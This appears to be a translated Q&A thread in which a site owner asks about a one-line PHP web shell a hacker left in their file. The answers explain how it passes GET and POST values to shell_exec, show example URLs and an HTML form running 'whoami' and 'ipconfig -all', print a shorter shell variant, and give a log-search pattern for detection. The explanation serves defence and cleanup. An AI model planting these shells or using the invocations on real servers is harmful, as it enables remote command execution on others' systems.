我在我的一个PHP文件中发现了黑客留下的一行脚本。它读起来是这样的:
<?php
($_=@$_GET[2]).@$_($_POST[1]);
?>
任何人都可以就这行代码的作用给出一些提示吗?谢谢
问题被搁置,我已经将其作为评论发布,现在作为答案:
这是一个PHP外壳。如果将其重写为<?php ($_=@$_GET[2]).@$_($_GET[1]); ?>
URL,file.php?2=shell_exec&1=whoami
则在 shell 上执行whoami
命令。在您的示例中,一个参数由 POST 传递,一个由 GET 传递。所以打电话有点难。
你也可以用它调用其他函数。第一个参数始终是函数名称,第二个参数是被调用函数的参数。
显然,它在 http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872)上进行了解释,但该网站无法为我加载。
/edit:如果您有权访问服务器日志文件,则可以搜索它们以查看黑客是否使用此 shell。外壳上的简单egrep "(&|'?)2=.+" logs*
应该可以工作。您只能看到执行命令的一半(仅 GET,而不是 POST),但也许这有助于查看攻击者是否真的使用了他的脚本。
正如Reeno在评论中已经说过的那样,它就像一个PHP外壳。
解释
-
将带有键"2"的 GET 变量存储在名为
$_
的变量中。由于 PHP 的弱类型性质,我们不需要在数字周围加上引号。$_=@$_GET[2]
-
将
$_
视为可调用的函数名称,并使用$_POST[1]
作为第一个参数执行它。@$_($_POST[1])
@
运算符应禁止显示错误日志记录,请参阅 PHP.net:错误控制运算符。
这两个语句之间的串联运算符实际上并不重要。它可以像这样重写:
$_=@$_GET[2];
@$_($_POST[1]);
用例
调用任意函数。我不会提到成功攻击的特定HTTP标头,但这对于每个(Web)程序员来说都应该相当容易。
首先,您必须尽快删除这些行。
此代码用于调用 PHP 函数。举个例子,你的黑客会使用这种形式:
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
然后,您将获得以下值:
-
$_
=$_GET[2]
=shell_exec
-
$_POST[1]
=ipconfig -all
-
$_($_POST[1])
=$_("ipconfig -all")
=shell_exec("ipconfig -all")
@
在这里禁用错误。
一个更简单的例子是使用以下代码:
<?= @$_GET['c'](@$_GET['p']); ?>
只需一个简单的电话即可 http://site.com/page.php?c=shell_exec&p=ipconfig%20-all.